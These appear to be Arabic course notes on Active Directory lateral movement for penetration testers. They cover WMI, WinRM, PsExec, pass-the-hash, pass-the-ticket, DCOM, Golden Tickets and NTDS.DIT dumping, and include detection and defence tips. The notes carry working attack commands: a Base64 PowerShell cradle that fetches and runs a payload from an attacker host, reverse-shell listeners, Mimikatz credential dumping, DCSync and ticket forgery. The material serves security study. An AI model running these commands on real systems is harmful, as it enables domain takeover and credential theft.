01الحركة الجانبية — المفاهيم والسياق

تعريف الحركة الجانبية (MITRE ATT&CK)

الحركة الجانبية هي التقنيات اللي المهاجم بيستخدمها عشان يتحرك تدريجيًا جوه الشبكة بعد ما ياخد Initial Access. الهدف: الوصول لأهداف عالية القيمة — Domain Controllers، سيرفرات ملفات، قواعد بيانات، أجهزة الأدمنز المميَّزة.

1الأدوات القياسية (RDP العادي، تسجيل الدخول اليدوي) مش بتقبل NTLM hashes أو Kerberos tickets — بتتوقع كلمة مرور نصية
2تكسير الهاشات بطيء وغير موثوق — الحل: تقنيات متخصصة بتصادق مباشرة ببيانات الاعتماد المسروقة نفسها
3كل جهاز جديد بيتم اختراقه بيفتح رؤية جديدة: شرائح شبكة، مستخدمين بجلسات نشطة، مشاركات وخدمات جديدة

ليه التعداد (Enumeration) محصلّش يتوقف

مقارنة التقنيات — نظرة عامة على الموديول

التقنيةبيانات الاعتماد المستخدَمةالبروتوكولدرجة التخفّي
WMI ExecutionHash / PlaintextRPC/DCOM (135 + dynamic)متوسطة
WinRM / WinRSHash / PlaintextHTTP/S (5985/5986)متوسطة
PsExecHash / PlaintextSMB (445)منخفضة — بينشئ خدمة
Pass-the-HashNTLM HashSMB / NTLMمتوسطة
Overpass-the-HashNTLM Hash → TGTKerberosعالية
Pass-the-TicketKerberos TGSKerberosعالية
DCOMHash / PlaintextRPC (135)عالية-متوسطة
اختراق جهازInitial AccessتعدادSessions / Sharesحركة جانبيةWMI/PtH/OPtH/PtTهدف جديدتكرار الدورة↻ تتكرر الدورة مع كل حساب/جهاز جديد يتم اختراقه
دورة الحركة الجانبية — التعداد عملية مستمرة وليست خطوة لمرة واحدة

02الحركة الجانبية عبر WMI

ما هو WMI؟

متطلبات الشبكة

TCP 135 للاتصال الأولي عبر RPC + نطاق منافذ ديناميكي TCP 49152–65535 لتبادل البيانات. لازم حساب دومين عضو في Local Administrators على الهدف — حسابات الدومين بتتخطى قيود UAC البعيدة بعكس الحسابات المحلية.

تفاصيل تقنية مهمة

powershell — wmi cim session
$user = 'corp\jeff'
$pass = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
$cred = New-Object PSCredential($user,$pass)

$opt  = New-CimSessionOption -Protocol DCOM
$sess = New-CimSession -ComputerName FILES01 -Credential $cred -SessionOption $opt

Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine='calc.exe'}
# ProcessId: 1234  ReturnValue: 0

حمولة Reverse Shell مشفّرة بـ Base64

ليه Base64

الحمولات المعقدة فيها أحرف خاصة بتكسر تحليل الأوامر. Base64 بيحوّلها لسلسلة آمنة أبجدية-رقمية، وبيقلّل من الكشف بالتوقيع لأنه مفيش كلمات مفتاحية واضحة في سطر الأمر.

powershell — encoded reverse shell via wmi
$cmd = 'IEX(New-Object Net.WebClient).DownloadString("http://192.168.118.4/payload.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$b64   = [Convert]::ToBase64String($bytes)

$payload = "powershell -enc $b64"
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create `
  -Arguments @{CommandLine=$payload}

# على جهاز المهاجم:
nc -lvnp 4444
# Reverse shell received!

03WinRM وWinRS

Windows Remote Management

الشرط الأساسي

المستخدم لازم يكون عضو في Local Administrators أو Remote Management Users على الهدف.

winrs — تنفيذ أوامر عن بُعد

winrs — remote command execution
winrs -r:FILES01 -u:corp\jeff -p:Password1! cmd
C:\Windows\system32> hostname
FILES01
C:\Windows\system32> whoami
corp\jeff

# تنفيذ أمر محدد بدون شل تفاعلي:
winrs -r:FILES01 -u:corp\jeff -p:Password1! "ipconfig /all"

PowerShell Remoting

powershell — new-pssession / enter-pssession
$user = 'corp\jeff'
$pass = ConvertTo-SecureString 'Password1!' -AsPlainText -Force
$cred = New-Object PSCredential($user,$pass)

$sess = New-PSSession -ComputerName FILES01 -Credential $cred
Enter-PSSession -Session $sess

[FILES01]: PS C:\> hostname
FILES01
[FILES01]: PS C:\> whoami
corp\jeff
ملاحظة عملية

استبدال cmd بحمولة Reverse Shell بـ PowerShell بيحوّل التنفيذ لوصول مستمر بدل أمر واحد.


04الحركة الجانبية عبر PsExec

ما هو PsExec؟

آلية العمل خلف الكواليس

1
نسخ ملف الخدمة التنفيذي

PsExec بينسخ psexesvc.exe لمشاركة ADMIN$ (\\target\admin$) على الجهاز البعيد.

2
إنشاء خدمة ويندوز مؤقتة

عبر Service Control Manager (SCM) باستخدام SMB.

3
تشغيل الخدمة

الخدمة بتبدأ psexesvc.exe اللي بدوره بيشغّل البرنامج المطلوب كـ Child Process.

4
التواصل عبر Named Pipe

الاتصال بين المهاجم والعملية البعيدة بيتم عبر Named Pipes فوق SMB.

5
استلام شل تفاعلي

المهاجم بياخد Command Prompt شغّال على الجهاز البعيد بسياق المستخدم المحدَّد.

psexec — interactive shell
./PsExec64.exe -i \\WEB04 -u corp\jeffadmin -p 'BestPasswordEver!' cmd

Connecting to WEB04...
Starting PsExec service on WEB04...

C:\Windows\system32> hostname
WEB04
C:\Windows\system32> whoami
corp\jeffadmin
أثر الكشف

PsExec بينشئ خدمة — ده بيتسجّل في Windows Event 7045 (تثبيت خدمة جديدة)، وده أصلًا أكثر تقنية ضجيجًا في الموديول ده.


05Pass-the-Hash (PtH)

الفكرة الأساسية

كيف يحقق PtH تنفيذ الكود

قيود مهمة

PtH بيشتغل بس مع حساب Administrator المحلي المدمج (RID 500) — قيود UAC البعيدة بتمنعه مع باقي حسابات الأدمن المحلية على ويندوز الحديثة. لكنه بيشتغل مع حسابات الدومين لأنها بتتخطّى هذه القيود. المبدأ الجوهري: NTLM بيشتغل زي ما هو مصمَّم — الهجوم بيستغل إن الهاش نفسه اتسرق، والهدف مش قادر يفرّق بين هاش مسروق وهاش شرعي.

impacket-psexec — pth from linux
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:NTLM_HASH \
  Administrator@192.168.50.72

[*] Requesting shares on 192.168.50.72...
[*] Found writable share ADMIN$
[*] Uploading file ...
[*] Opening SVCManager on 192.168.50.72...
C:\Windows\system32> whoami
nt authority\system

06Overpass-the-Hash (OPtH)

الفكرة

خطوة بخطوة

1
اختراق جهاز

الوصول كأدمن لجهاز عليه جلسة نشطة أو حديثة لمستخدم مميَّز (مثلًا jeffadmin).

2
استخراج هاش NTLM

استخدام Mimikatz (sekurlsa::logonpasswords) لتفريغ هاش jeffadmin من ذاكرة LSASS.

3
تشغيل Process بالهاش

أمر sekurlsa::pth بيحقن الهاش وبيشغّل عملية جديدة بسياق أمان jeffadmin.

4
طلب Kerberos TGT

الوصول لأي مورد دومين (مشاركة ملفات مثلًا) — النظام تلقائيًا بيتواصل مع الـ KDC ويطلب TGT.

5
التحقق من TGT في Cache

تشغيل klist للتأكد إن التذكرة محفوظة باسم jeffadmin@CORP.COM.

6
التحرّك جانبيًا

استخدام PsExec أو أدوات تانية — هتستخدم تذاكر Kerberos من الجلسة بدل NTLM.

mimikatz — sekurlsa::pth
privilege::debug
sekurlsa::logonpasswords
# لاحظ هاش NTLM الخاص بـ jeffadmin

sekurlsa::pth /user:jeffadmin /domain:corp.com /ntlm:2a944a7... /run:powershell
# نافذة PowerShell جديدة بسياق jeffadmin

ls \\FILES01\shares   # أي مورد دومين
klist                 # jeffadmin@CORP.COM TGT cached!

07Pass-the-Ticket (PtT)

الفكرة الأساسية

1
إيجاد الجلسات النشطة

استخدام BloodHound أو Get-NetSession لإيجاد أجهزة فيها جلسات نشطة لمستخدمين مميَّزين.

2
أخذ صلاحية أدمن على الجهاز ده

اختراق الجهاز اللي تذاكر المستخدم الهدف متخزّنة فيه جوه LSASS.

3
تصدير تذاكر Kerberos

sekurlsa::tickets /export — بيحفظ كل التذاكر كملفات .kirbi.

4
اختيار التذكرة المناسبة

اختيار TGS للخدمة المطلوبة (مثلًا CIFS لمشاركة ملفات، HTTP لتطبيق ويب).

5
حقن التذكرة في الجلسة

kerberos::ptt [ticket.kirbi] — بيحقن التذكرة في جلسة تسجيل الدخول الحالية.

6
الوصول للخدمة الهدف

الاتصال بالخدمة — المصادقة هتستخدم التذكرة المحقونة وتظهر بهوية المستخدم الشرعي.

mimikatz — export / inject ticket
sekurlsa::tickets /export
ls *.kirbi
# [0;xxx]-0-0-40810000-dave@cifs-FILES04.kirbi

kerberos::ptt [0;xxx]-0-0-40810000-dave@cifs-FILES04.kirbi
# Injecting ticket: OK

klist
# dave@CORP.COM TGS for FILES04 present!

ls \\FILES04\Docshare   # بقت متاحة!

08الحركة الجانبية عبر DCOM

ما هو DCOM؟

DCOM عبر MMC — تنفيذ أوامر عن بُعد

powershell — dcom mmc execution
$dcom = [System.Activator]::CreateInstance(
  [type]::GetTypeFromProgID('MMC20.Application','192.168.50.72'))

$dcom.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c calc.exe','7')
# calc.exe بيشتغل على الجهاز البعيد (Session 0)

$dcom.Document.ActiveView.ExecuteShellCommand('powershell',$null,'-nop -w hidden -enc ','7')
nc -lvnp 4444   # استقبال الـ reverse shell
ليه DCOM فعّال للتخفّي

بيستخدم وظائف ويندوز الشرعية، مفيش Binaries خبيثة بتتنسخ للهدف، وكل النشاط عبر مكوّنات موقَّعة من مايكروسوفت. من منظور الدفاع: أحداث تفعيل DCOM في سجل Security (تفاصيل محدودة)، إنشاء عملية فرعية تحت MMC (Event ID 4688)، واتصال شبكي على المنفذ 135 + منفذ ديناميكي عالٍ. بيندمج مع الترافيك المؤسسي العادي لأن أدمنز الـ IT بيستخدموا أدوات DCOM روتينيًا.


09الاستمرارية في AD — Golden Ticket

ليه الاستمرارية حرجة في AD

حساب KRBTGT — المفتاح الرئيسي للدومين

التأثير

لو المهاجم حصل على هاش KRBTGT: يقدر يزوّر TGTs لأي مستخدم — حتى غير موجودين فعليًا — ويقدر يخصّص أي عضويات مجموعات بما فيها Domain Admins. الدومين بيثق في التذكرة المزوَّرة لأنها موقَّعة بشكل صحيح.

mimikatz — forge golden ticket
# الحصول على هاش KRBTGT عبر DCSync:
lsadump::dcsync /user:corp\krbtgt
# Hash NTLM: 1693c6...

# الحصول على SID الدومين:
whoami /user
# S-1-5-21-1987370270-658905905-1781884369-1105
# SID الدومين = احذف الجزء الأخير (-1105)

# تزوير Golden Ticket وحقنه مباشرة:
kerberos::golden /user:jen /domain:corp.com \
  /sid:S-1-5-21-1987370270-658905905-1781884369 \
  /krbtgt:1693c6... /ptt
# jen بقى عنده تذكرة مزوَّرة بصلاحيات DA!
خصائص
صلاحية وكشف
بيشتغل بس مع Kerberos — الاتصالات بـ IP بتعمل Fallback لـ NTLM فتفشل التذكرة، فاستخدم أسماء المضيفين دايمًا. الصلاحية الافتراضية 10 ساعات لكن ممكن تتضبط لأي قيمة — بعض المهاجمين بيحطوا 10 سنين للاستمرارية. Event ID 4769 وتشفير RC4 في بيئة AES-only من علامات الاكتشاف.
دفاعات
تدوير KRBTGT مرتين
التدوير الأول بيبطّل التذاكر القديمة، التاني بيعالج تأخير الـ Replication — لازم الاثنين خلال 10 ساعات للمعالجة الكاملة. راقب تذاكر Kerberos الشاذة (RC4 في بيئة AES-only، صلاحيات غريبة) وفعّل Protected Users group للحسابات المميَّزة.

10Shadow Copies وNTDS.DIT

Volume Shadow Copy Service (VSS)

ما هو NTDS.DIT؟

تدفّق الهجوم الكامل

1
إنشاء VSS Snapshot

استخدام vshadow.exe أو wmic لعمل نسخة ظل من قرص C: على الـ DC.

2
تصفّح النسخة الظل

الوصول للـ Snapshot عبر مساره: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN.

3
نسخ NTDS.DIT

نسخ ntds.dit من مسار الـ Shadow Copy لمكان قابل للكتابة (C:\Temp\ntds.dit).

4
تصدير SYSTEM hive

reg.exe save HKLM\SYSTEM C:\Temp\SYSTEM — يحتوي مفتاح فك التشفير.

5
نقل الملفات

تهريب ntds.dit وملف SYSTEM لجهاز المهاجم للتحليل الأوفلاين.

6
استخراج كل الهاشات

استخدام impacket-secretsdump أوفلاين لفك تشفير NTDS.DIT واستخراج كل بيانات اعتماد الدومين.

windows — shadow copy extraction
vshadow.exe -nw -p C:
# لاحظ مسار الـ shadow device في المخرجات

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\temp\ntds.dit
reg.exe save hklm\system C:\temp\SYSTEM
linux — impacket-secretsdump offline
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
# كل هاشات الدومين اتستخرجت!
كشف
علامات الاكتشاف
Event ID 7036 (بدء خدمة VSS)، Event ID 8193 (إنشاء Shadow Copy)، نشاط VSS غير متوقَّع على الـ DCs، وصول لـ ntds.dit من مسار غير قياسي، تصدير SYSTEM hive عبر reg.exe، أو نقل ملفات كبير من DC لجهاز غير DC.
دفاع
إجراءات دفاعية
راقب نشاط VSS على كل الـ DCs، قيّد الوصول للـ DCs لحسابات النسخ الاحتياطي والأدمنز المصرَّح لهم فقط، استخدم Privileged Access Workstations ونموذج الإدارة الطبقي (Tier 0/1/2) لمنع اختلاط بيانات الاعتماد.

--منهجية الحركة الجانبية المتكاملة

في تقييم حقيقي، الترتيب المنطقي للتقنيات بيعتمد على مستوى بيانات الاعتماد المتاحة ودرجة التخفّي المطلوبة.

تعداد الجلساتBloodHoundOPtH / PtTالأكثر تخفّيًاWMI/WinRM/DCOMأدوات مدمجةPsExec/PtHأعلى ضجيجDA → Golden Ticketاستمرارية
رتّب التقنيات من الأكثر تخفّيًا للأكثر ضجيجًا حسب درجة الحساسية المطلوبة في التقييم

--Cheat Sheet مرجعي

أوامر WMI وWinRM السريعة

quick reference
Invoke-CimMethod -CimSession $sess -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='cmd.exe /c whoami'}
winrs -r:TARGET -u:DOMAIN\user -p:PASS cmd
New-PSSession -ComputerName TARGET -Credential $cred | Enter-PSSession

أوامر PsExec وPass-the-Hash

quick reference
PsExec64.exe -i \\TARGET -u DOMAIN\user -p PASS cmd
impacket-psexec -hashes LM:NTLM Administrator@TARGET
impacket-wmiexec -hashes LM:NTLM DOMAIN/user@TARGET

أوامر Mimikatz الأساسية (OPtH / PtT / Golden Ticket)

mimikatz — quick reference
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:powershell
sekurlsa::tickets /export
kerberos::ptt <ticket.kirbi>
lsadump::dcsync /user:corp\krbtgt
kerberos::golden /user:<user> /domain:<domain> /sid:<SID> /krbtgt:<hash> /ptt

Shadow Copy وNTDS.DIT

quick reference
vshadow.exe -nw -p C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\windows\ntds\ntds.dit C:\temp\
reg.exe save hklm\system C:\temp\SYSTEM
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Quick Wins — أسرع المسارات في الحركة الجانبية

#التحققالأمرالتقنية المناسبة
1عندك NTLM hash لحساب أدمن محلي مدمج؟impacket-psexec -hashesPass-the-Hash
2عندك هاش لحساب دومين مميَّز؟sekurlsa::pthOverpass-the-Hash
3فيه جلسة نشطة لمستخدم مميَّز على جهاز تحت سيطرتك؟sekurlsa::tickets /exportPass-the-Ticket
4عضو في Local Administrators على الهدف؟Invoke-CimMethod / winrsWMI / WinRM
5عندك هاش KRBTGT؟kerberos::goldenGolden Ticket

الخلاصة العامة للموديول

الموديول ده غطّى الحركة الجانبية في Active Directory من أبسط أدواتها المدمجة (WMI، WinRM، PsExec) وصولًا لأقوى تقنيات إعادة استخدام بيانات الاعتماد (PtH، OPtH، PtT)، وانتهى بأخطر مرحلتين: Golden Ticket للاستمرارية، وShadow Copy لتفريغ الدومين بالكامل.

$ cat ./module21_summary.txt

كل تقنيات الحركة الجانبية دي مبنية على فكرة واحدة: النظام بيثق في بيانات الاعتماد المقدَّمة — هاش، تذكرة، أو توكن — من غير ما يقدر يفرّق بينها وبين بيانات اعتماد سُرقت فعلًا. المختبر اللي بيفهم أي شكل من بيانات الاعتماد متاح له في كل لحظة، وأنسب تقنية لاستغلاله، هو اللي بيتحرك جوه الدومين بأقل أثر وأسرع وقت.

Professional Mindset

في الـ Engagement الحقيقي: ابدأ دايمًا بالتقنيات الأكثر تخفّيًا المتاحة حسب بيانات الاعتماد الموجودة (OPtH أو PtT لو عندك تذاكر أو هاشات دومين) → بعدين الأدوات المدمجة (WMI/WinRM/DCOM) لو محتاج تختبئ وسط ترافيك إداري → PsExec وPtH المباشر كخيار أخير أسرع لكنه أكثر ضجيجًا → وأخيرًا، لو وصلت لـ DA، نفّذ DCSync واحفظ KRBTGT، وفكّر في Shadow Copy لنسخة كاملة من بيانات الدومين. وثَّق كل خطوة، حتى الفاشلة.


نهاية نوتس الموديول الحادي والعشرين — Lateral Movement in Active Directory